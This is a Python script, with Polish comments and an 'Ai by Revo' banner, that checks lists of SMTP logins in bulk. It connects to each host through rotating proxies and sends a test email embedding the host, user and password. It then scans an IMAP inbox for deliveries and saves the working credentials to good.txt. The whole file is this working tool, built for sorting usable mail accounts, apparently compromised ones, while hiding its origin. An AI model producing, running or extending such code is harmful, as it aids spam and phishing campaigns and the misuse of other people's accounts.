import smtplib
import ssl
import imaplib
import email
import threading
import time
import random
import os
import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from queue import Queue
from colorama import init, Fore
import socks
import socket
from tqdm import tqdm
import re
from html import unescape

init(autoreset=True)

print(Fore.CYAN + "Ai by Revo - SMTP Checker + Proxy + IMAP Verification")

# ----------------------- Konfiguracja -----------------------
MAX_WORKERS = 100
SEMAPHORE_LIMIT = 30
CONNECT_TIMEOUT = 6
SMTP_OP_TIMEOUT = 8
RETRY_COUNT = 1
BACKOFF_BASE = 1.5
PROXY_CHECK_TIMEOUT = 2
IMAP_POLL_INTERVAL = 5

# Save original socket to be able to restore it reliably
ORIGINAL_SOCKET = socket.socket

# Lock to avoid race conditions when monkeypatching the global socket for proxy use
proxy_lock = threading.Lock()

# ----------------------- Funkcje -----------------------
def ask_proxy_mode(proxy_list):
    print("\n=== Proxy Mode ===")
    print(f"Wczytano {len(proxy_list)} proxy.")
    print("1) Najpierw sprawdź proxy (wolniej, ale pewność działania)")
    print("2) Pomijam test — od razu korzystaj z proxy do SMTP")

    while True:
        choice = input("Wybierz opcję 1 lub 2: ").strip()
        if choice == "1":
            return "check"
        elif choice == "2":
            return "skip"
        else:
            print("Niepoprawna opcja!")

def filter_working_proxies(proxy_list, test_function):
    """ Testuje proxy równolegle i zwraca tylko działające """
    print("\nTestowanie proxy, proszę czekać...")

    working = []
    with ThreadPoolExecutor(max_workers=20) as exe:
        futures = {exe.submit(test_function, proxy): proxy for proxy in proxy_list}
        for fut in as_completed(futures):
            proxy = futures[fut]
            try:
                ok = fut.result()
                if ok:
                    working.append(proxy)
                    print(f"[OK] {proxy}")
                else:
                    print(f"[BAD] {proxy}")
            except Exception:
                print(f"[ERR] {proxy}")

    print(f"\nGotowe. Działających proxy: {len(working)} / {len(proxy_list)}")
    return working

def load_smtp_servers(filename):
    with open(filename, 'r', encoding='utf-8', errors='ignore') as f:
        return [line.strip().split('|') for line in f if line.strip() and 
len(line.strip().split('|')) == 4]

def load_proxies(filename):
    with open(filename, 'r', encoding='utf-8', errors='ignore') as f:
        return [line.strip() for line in f if line.strip()]

def set_proxy(proxy_type, proxy_str):
    """Set global proxy by monkeypatching socket.socket to socks.socksocket.
    NOTE: This is a global change – callers should use proxy_lock to avoid races.
    """
    ip, port = proxy_str.split(':')
    port = int(port)
    types = {
        'http': socks.HTTP,
        'https': socks.HTTP,
        'socks4': socks.SOCKS4,
        'socks5': socks.SOCKS5
    }
    socks.setdefaultproxy(types[proxy_type], ip, port)
    socket.socket = socks.socksocket

def reset_socket():
    """Restore original socket implementation."""
    global ORIGINAL_SOCKET
    socket.socket = ORIGINAL_SOCKET

def test_proxy_worker(proxy_type, proxy_str):
    """Test proxy by attempting a simple SMTP banner read (connect to port 587).
       Uses proxy_lock to avoid concurrent global monkeypatch races.
    """
    try:
        with proxy_lock:
            set_proxy(proxy_type, proxy_str)
            try:
                # Szybsze połączenie - od razu zamykamy po otrzymaniu bannera
                sock = socket.create_connection(("142.250.195.108", 587), 
timeout=PROXY_CHECK_TIMEOUT)
                sock.settimeout(1)  # Krótszy timeout na recv
                banner = sock.recv(256)  # Mniejszy bufor = szybsze
                sock.close()
            except Exception:
                banner = None
            # restore socket immediately after the network operation
            reset_socket()
        # consider proxy good only if we got an SMTP-like banner
        if banner and b'220' in banner:
            return proxy_str
        return None
    except Exception:
        try:
            reset_socket()
        except:
            pass
        return None

def test_proxy_fast(proxy_type, proxy_list):
    good = []
    # Zwiększamy liczbęWorkerÓw do 200 dla szybszego testowania
    with ThreadPoolExecutor(max_workers=200) as ex:
        futures = {ex.submit(test_proxy_worker, proxy_type, p): p for p in proxy_list}
        for f in tqdm(as_completed(futures), total=len(futures), desc="Testing proxy"):
            try:
                r = f.result()
            except Exception:
                r = None
            if r:
                good.append(r)
    return good

def create_smtp_connection(host, port, timeout):
    """Create SMTP or SMTP_SSL connection object with the configured timeout.
       This function assumes global socket is already patched if needed.
    """
    context = ssl.create_default_context()
    if port == 465:
        server = smtplib.SMTP_SSL(host, port, timeout=timeout, context=context)
    else:
        server = smtplib.SMTP(host, port, timeout=timeout)
        server.starttls(context=context)
    return server

def send_email(smtp_info, to_email, subject, content, use_proxy, proxy_type, proxy_list, 
success_queue, semaphore):
    host, port, user, password = smtp_info
    port = int(port)

    # Tworzenie unikalnego ID SMTP
    unique_id = f"{host}|{port}|{user}|{password}"

    # Dodajemy ID do treści (fallback, gdy header zostanie usunięty przez provider)
    body = content + "\n\n[SMTP-ID] " + unique_id

    message = MIMEMultipart()
    message['From'] = user
    message['To'] = to_email
    message['Subject'] = subject
    # nadal dodajemy nagłówek (nie zaszkodzi jeśli provider go zachowa)
    message['X-SMTP-ID'] = unique_id
    message.attach(MIMEText(body, 'plain'))

    for attempt in range(RETRY_COUNT + 1):
        server = None
        chosen_proxy = None
        try:
            if use_proxy:
                chosen_proxy = random.choice(proxy_list)

            with semaphore:
                # If using proxy, patch socket in a critical section to avoid races.
                if use_proxy:
                    with proxy_lock:
                        set_proxy(proxy_type, chosen_proxy)
                        # create server while global socket is patched
                        server = create_smtp_connection(host, port, SMTP_OP_TIMEOUT)
                        # we can restore global socket immediately after server object creation
                        reset_socket()
                else:
                    server = create_smtp_connection(host, port, SMTP_OP_TIMEOUT)

                # login/send
                server.login(user, password)
                server.sendmail(user, to_email, message.as_string())
                server.quit()

                # log successful send
                success_queue.put(unique_id)
                if use_proxy and chosen_proxy:
                    print(Fore.GREEN + f"[+] Email sent: {unique_id} via proxy {chosen_proxy}")
                else:
                    print(Fore.GREEN + f"[+] Email sent: {unique_id}")
                break

        except Exception as e:
            wait = BACKOFF_BASE * (attempt + 1)
            print(Fore.YELLOW + f"[WARN] Attempt {attempt+1} failed for {user} -> {e}. Backing off {wait:.1f}s")
            time.sleep(wait)

        finally:
            # Ensure socket restored in any case
            try:
                if use_proxy:
                    reset_socket()
            except:
                pass
            # ensure server is closed if partially created
            try:
                if server:
                    try:
                        server.close()
                    except:
                        pass
            except:
                pass

def imap_check(server, user, password, subject, duration_minutes, success_queue):
    """
    Solidny IMAP check:
    - odczytuje nagłówek X-SMTP-ID
    - fallback: wyszukuje w text/plain lub text/html wzorzec [SMTP-ID] <id>
    - obsługuje różne charsety i dekodowanie
    - działa przez duration_minutes i zbiera potwierdzone ID w found_ids
    - na końcu opróżnia success_queue i wpisuje tam tylko potwierdzone ID
    """
    id_pattern = re.compile(r'\[SMTP[-_\s]?ID\]\s*([^\s]+(?:\|[^\s]+)*)', re.IGNORECASE)
    found_ids = set()
    end_time = time.time() + duration_minutes * 60

    print(Fore.CYAN + "[i] IMAP monitor running...")

    while time.time() < end_time:
        try:
            mail = imaplib.IMAP4_SSL(server)
            mail.login(user, password)
            mail.select("inbox")

            today = datetime.date.today().strftime("%d-%b-%Y")
            result, data = mail.search(None, f'SINCE "{today}"')

            scanned = 0
            if result == 'OK' and data and data[0]:
                ids = data[0].split()
                scanned = len(ids)
                for msg_id in ids:
                    try:
                        res2, msg_data = mail.fetch(msg_id, '(RFC822)')
                        if res2 != 'OK' or not msg_data or not msg_data[0]:
                            continue
                        raw = msg_data[0][1]
                        msg = email.message_from_bytes(raw)

                        smtp_id = msg.get('X-SMTP-ID')
                        if smtp_id:
                            smtp_id = smtp_id.strip()
                        else:
                            smtp_id = None

                        if not smtp_id:
                            body_text = ''
                            if msg.is_multipart():
                                for part in msg.walk():
                                    ctype = part.get_content_type()
                                    disp = str(part.get('Content-Disposition') or '')
                                    if 'attachment' in disp.lower():
                                        continue
                                    try:
                                        payload = part.get_payload(decode=True)
                                    except:
                                        payload = None
                                    if not payload:
                                        continue
                                    charset = part.get_content_charset() or part.get_charsets() or 'utf-8'
                                    if isinstance(charset, (list, tuple)):
                                        charset = charset[0] or 'utf-8'
                                    try:
                                        text = payload.decode(charset, errors='ignore')
                                    except:
                                        try:
                                            text = payload.decode('utf-8', errors='ignore')
                                        except:
                                            text = str(payload)
                                    if ctype == 'text/plain':
                                        body_text += '\n' + text
                                    elif ctype == 'text/html':
                                        txt = re.sub(r'<script.*?>.*?</script>', '', text, 
flags=re.S|re.I)
                                        txt = re.sub(r'<style.*?>.*?</style>', '', txt, 
flags=re.S|re.I)
                                        txt = re.sub(r'<[^>]+>', ' ', txt)
                                        txt = unescape(txt)
                                        body_text += '\n' + txt
                            else:
                                try:
                                    payload = msg.get_payload(decode=True)
                                    if payload:
                                        ch = msg.get_content_charset() or 'utf-8'
                                        try:
                                            body_text = payload.decode(ch, errors='ignore')
                                        except:
                                            body_text = payload.decode('utf-8', errors='ignore')
                                    else:
                                        body_text = ''
                                except:
                                    body_text = ''

                            if body_text:
                                m = id_pattern.search(body_text)
                                if m:
                                    smtp_id = m.group(1).strip()

                        if smtp_id:
                            if smtp_id not in found_ids:
                                print(Fore.YELLOW + f"[+] Delivered: {smtp_id}")
                                found_ids.add(smtp_id)

                    except Exception as e_msg:
                        print(Fore.RED + f"[IMAP FETCH ERROR] {e_msg}")
                        continue

            mail.logout()
            if scanned:
                print(Fore.CYAN + f"[i] Skanowano {scanned} wiadomości z tematem '{subject}'")

        except Exception as e:
            print(Fore.RED + f"[IMAP ERROR] {e}")

        time.sleep(IMAP_POLL_INTERVAL)

    try:
        while True:
            success_queue.get_nowait()
    except Exception:
        pass

    for sid in found_ids:
        success_queue.put(sid)

    print(Fore.GREEN + "[+] Finished IMAP monitoring.")

# ----------------------- Main -----------------------
def main():
    smtp_file = input("Enter SMTP servers filename: ")
    threads = int(input("Enter number of threads: "))
    to_email = input("Enter recipient email: ")
    subject = input("Enter email subject: ")
    content = input("Enter email content: ")
    use_proxy = input("Use proxy? (y/n): ").lower() == 'y'

    proxy_list = []
    proxy_type = ''

    if use_proxy:
        proxy_file = input("Enter proxy list filename: ")
        proxy_type = input("Proxy type (http/https/socks4/socks5): ")
        proxy_list_raw = load_proxies(proxy_file)

        print(Fore.CYAN + f"[i] Wczytano proxy: {len(proxy_list_raw)}")

        # Zapytaj użytkownika czy testować proxy czy od razu używać listy
        mode = ask_proxy_mode(proxy_list_raw)

        if mode == "check":
            print(Fore.CYAN + "[i] Testing proxy...")
            proxy_list = test_proxy_fast(proxy_type, proxy_list_raw)

            print(Fore.CYAN + f"[i] Working proxy: {len(proxy_list)}")

            if not proxy_list:
                print(Fore.RED + "Brak działających proxy. Kończę.")
                return
        else:
            print(Fore.YELLOW + "[i] Pomijam test proxy — używam pełnej listy.")
            proxy_list = proxy_list_raw

    # --- kontynuacja programu ---
    smtp_servers = load_smtp_servers(smtp_file)
    success_queue = Queue()
    semaphore = threading.Semaphore(SEMAPHORE_LIMIT)

    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = []
        for smtp in smtp_servers:
            if len(smtp) == 4:
                futures.append(
                    executor.submit(send_email, smtp, to_email, subject, content, use_proxy, 
proxy_type, proxy_list, success_queue, semaphore)
                )

        for _ in tqdm(as_completed(futures), total=len(futures), desc="Checking SMTP"):
            pass

    print(Fore.CYAN + "[i] Wysyłka zakończona. Rozpoczynam IMAP verification.")

    imap_server = input("IMAP server: ")
    imap_user = input("IMAP user: ")
    imap_pass = input("IMAP password: ")
    duration = int(input("Minutes to check inbox for replies: "))

    imap_check(imap_server, imap_user, imap_pass, subject, duration, success_queue)

    good = set()
    while not success_queue.empty():
        good.add(success_queue.get())

    with open("good.txt", "w", encoding="utf-8") as f:
        for s in good:
            f.write(s + "\n")

    print(Fore.GREEN + f"[+] Zapisano {len(good)} działających SMTP do good.txt")
    print(Fore.CYAN + "Ai by Revo - koniec programu")

if __name__ == "__main__":
    main()
